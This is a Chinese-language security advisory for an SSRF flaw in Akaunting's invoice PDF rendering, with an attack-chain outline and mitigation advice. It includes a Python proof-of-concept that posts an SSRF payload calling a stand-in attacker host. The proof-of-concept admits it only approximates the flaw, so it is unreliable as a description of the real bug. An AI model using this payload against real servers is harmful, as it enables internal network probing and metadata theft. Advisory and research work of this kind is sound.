IPBUF安全漏洞报告
English
CVE-2026-8193 CVSS 6.3 中危

CVE-2026-8193 Akaunting发票渲染SSRF漏洞

披露日期: 2026-05-09

漏洞信息

漏洞编号
CVE-2026-8193
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Akaunting

相关标签

SSRFAkauntingCVE-2026-8193PDF InjectionServer-Side Request ForgeryVulDB

漏洞概述

Akaunting 3.1.21 版本被发现存在一处安全漏洞,该漏洞位于发票 PDF 渲染组件的配置文件处理逻辑中。攻击者可利用组件对 config/dompdf.php 文件的未知处理缺陷,实施服务器端请求伪造(SSRF)攻击。由于此漏洞可远程发起且无需用户交互,仅需低权限即可利用,且利用代码已公开,可能导致服务器敏感信息泄露或内网探测。

技术细节

该漏洞的核心在于 Akaunting 集成的 DomPDF 库在处理 PDF 生成任务时,未能有效隔离或验证配置参数。具体而言,攻击者可以通过构造特制的 HTTP 请求,干预 `config/dompdf.php` 的加载过程,进而注入恶意的配置选项。由于 DomPDF 支持在渲染过程中加载远程资源(如图片或 CSS),攻击者可以利用被篡改的配置,迫使服务器向攻击者指定的内网地址(如 127.0.0.1)或外部 URL 发起请求。这种 SSRF 攻击不仅可用于探测内网拓扑和服务端口,在特定配置下还可能结合云服务元数据窃取等攻击手段,造成更严重的数据泄露。

攻击链分析

STEP 1
1. 侦察与访问
攻击者识别出目标系统运行的是 Akaunting 3.1.21 版本,并获取或暴力破解了一个低权限用户账号。
STEP 2
2. 发起请求
攻击者使用低权限账号登录,并向发票 PDF 导出接口发送特制的 HTTP POST 请求。
STEP 3
3. 触发漏洞
服务器端处理请求时,加载 `config/dompdf.php` 并解析攻击者注入的恶意参数,导致 DomPDF 组件尝试加载攻击者指定的外部资源。
STEP 4
4. 执行 SSRF
应用服务器向攻击者控制的 URL 或内网地址发起连接请求,攻击者通过回调确认漏洞存在。
STEP 5
5. 后续利用
利用 SSRF 探测内网开放端口,窃取 AWS/GCP 元数据,或结合其他漏洞进行进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://vulnerable-akaunting-instance.com" login_endpoint = f"{target_url}/login" invoice_export_endpoint = f"{target_url}/invoices/export/pdf" # Attacker controlled server for SSRF callback attacker_callback_url = "http://attacker-server.com/capture" # Credentials (Low privilege required) credentials = { "email": "[email protected]", "password": "password" } # Start a session to maintain authentication session = requests.Session() # 1. Login to get session cookie login_response = session.post(login_endpoint, data=credentials) if login_response.status_code != 200: print("Login failed") exit() # 2. Exploit the vulnerability # The vulnerability is in the PDF rendering component processing config/dompdf.php # We inject a malicious URL that the server will fetch via SSRF # This payload simulates manipulating the options passed to the PDF generator payload_data = { # Injecting the SSRF payload into a parameter that influences PDF rendering # Depending on the exact implementation, this might be a custom header or form field "options[base_path]": attacker_callback_url, "html_content": f"<img src='{attacker_callback_url}/ssrf_test.png'>" } try: print(f"Sending exploit payload to {invoice_export_endpoint}...") response = session.post(invoice_export_endpoint, data=payload_data) if response.status_code == 200: print("Request sent successfully.") print("Check your callback server for incoming connections from the target.") else: print(f"Exploit request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Akaunting 3.1.21

防御指南

临时缓解措施
由于厂商尚未发布补丁,建议用户暂时禁用发票 PDF 导出功能以阻断攻击路径。同时,应严格限制服务器对外网的 outbound 连接,特别是针对非业务必需的端口和 IP。管理员可检查日志中是否存在针对 PDF 生成接口的可疑请求,并在配置文件中手动修改 DomPDF 设置,禁止读取远程内容。

参考链接